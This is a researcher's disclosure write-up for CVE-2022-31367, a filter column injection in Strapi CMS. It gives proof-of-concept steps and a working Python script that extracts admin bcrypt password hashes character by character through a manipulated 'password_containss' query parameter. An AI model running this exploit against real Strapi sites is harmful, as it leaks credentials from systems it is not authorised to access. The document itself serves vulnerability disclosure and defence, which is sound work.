CVE-2022-31367

Column Injection on Filter Feature Lead to Data Leak

Vulnerability Explanation

Attacker with permission to read in settings section can dump all available data available on the table including hidden sensitive data. This vulnerability caused by column name manipulation (injection) on filtering feature. In this case author try to utilize this vulnerability to dump users password hash.

Vulnerability Type

  • SQL Injection

CVSS

Vendor

Affected Version

  • Strapi CMS < v3.6.10

  • Strapi CMS < v4.1.10

Proof of Concept

  1. Login to user with permission to read "user" data in settings section.

  2. Click on filters and add filter using firstname and email with type of selection is contains case sensitive

  3. See http request and then click edit and send ( firefox ) . After that change email_containss to password_containss and fill password_contains parameter with "$" , because we know that password in strapi hashed using bcrypt.

  4. Check the response and we will see row of data which fulfill our filter request. In this case password contains $ and username contains admin.

  5. Validate the bug by sending an invalid filter value such as "JUNK" for password.

  6. Final step, create script to automate password leak and validate the password found by checking on database.

Exploit Code

import requests
import json
import string
import urllib.parse

r = requests.session()
url = "http://localhost:1337/admin/users?pageSize=10&page=1&_sort=firstname%3AASC&firstname_containss=admin&password_containss={}"
auth = {"Authorization":"Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwiaWF0IjoxNjM5MTMxMTA3LCJleHAiOjE2NDE3MjMxMDd9.B9zpgqS82u9BnzBqfGq9OrT2eQZEYx4iSRTvvV0qeQ0"}
leak_pass = ""
poss_char = string.printable[:-6].replace("%","")
while True:
	print("Leak : " + leak_pass)
	known_len = len(leak_pass)
	for i in poss_char:
		safe_string = urllib.parse.quote_plus(leak_pass+i)
		tmp_url = url.format(safe_string)
		data = json.loads(r.get(tmp_url,headers = auth).text)
		if(len(data['data']['results']) > 0 ):
			leak_pass += i
			break
	if(known_len==len(leak_pass)):
		break
while True:
	print("Leak : " + leak_pass)
	known_len = len(leak_pass)
	for i in poss_char:
		safe_string = urllib.parse.quote_plus(i+leak_pass)
		tmp_url = url.format(safe_string)
		data = json.loads(r.get(tmp_url,headers = auth).text)
		if(len(data['data']['results']) > 0 ):
			email = data['data']['results'][0]['email']
			leak_pass = i + leak_pass
			break
	if(known_len==len(leak_pass)):
		break
print("Email : " + email)
print("Password : " + leak_pass)

Tested On

  • Strapi version: 3.6.8

  • Node.js version: 12.22.7

  • NPM version: 7.24.2

  • Database: PostgreSQL

  • Operating system: Debian GNU/Linux 9 (stretch)

Disclosure Timeline

  • 2021-12-09: Vulnerability discovered.

  • 2022-05-11: Vulnerability fixed.

  • 2022-05-11: Vulnerability reported to the MITRE corporation.

  • 2022-05-23: CVE has been assigned.

  • 2022-09-27: Public disclosure of the vulnerability.

Researcher

  • Achmad Zaenuri Dahlan Putra (kos0ng)

Additional Information

Last updated